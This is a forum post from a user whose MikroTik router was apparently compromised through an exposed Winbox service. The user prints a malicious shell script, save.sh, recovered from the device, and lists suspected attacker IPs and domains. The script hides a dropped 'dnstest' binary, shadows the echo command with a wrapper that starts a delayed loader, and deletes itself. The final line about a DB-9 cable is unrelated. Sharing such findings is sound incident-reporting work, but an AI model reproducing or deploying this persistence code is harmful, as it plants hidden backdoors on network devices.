Router had only winbox 8129, ssh on the changed high port and pptp on the default port. Version 6.41.3
The password is random char + numbers + special chars and nowhere else used.
Login to my router:
I updated it to the latest version and downloaded it completely from the outside.
Fortunately, I found two files: save.sh and dnstest.
Maybe their content will help in something:
save.sh
Code: Select all
#!/bin/ash
case "$PATH" in
*/usr/local/bin*)
# old versions
dest="/usr/local/bin/"
;;
*)
dest="/flash/bin/"
if [ ! -d "/flash/" ]; then
exit 1
fi
;;
esac
if [ -f $dest/.dnstest ]; then
rm $dest/.dnstest
fi
if [ -f $dest/echo ]; then
rm $dest/echo
fi
if [ -f $dest/.test ]; then
rm $dest/.test
fi
mkdir -p $dest
export PATH=$PATH:$dest
chmod a+x /flash/rw/pckg/dnstest
cp /flash/rw/pckg/dnstest $dest/.dnstest
echo -e "#!/bin/ash\nusleep 180000000\ncp $dest.dnstest /tmp/.dnstest\n/tmp/.dnstest*" > $dest/.test
chmod +x $dest/.test
echo -e "#!/bin/ash\n/$dest.test&\n/bin/echo \$*" > $dest/echo
chmod +x $dest/echo
/flash/rw/pckg/dnstest
rm save.shThis is not the only case, this is log from my friend. He got only exposed winbox:
It looks like the first attempt to log in - here somewhere miraculously collects passwords from the router and later logging in with user perm = full.
IP:
103.1.221.39
marchdom4.com [162.212.182.119]
march10dom5.com [162.212.182.119]
I think the one I have is a DB-9 to DB-9.
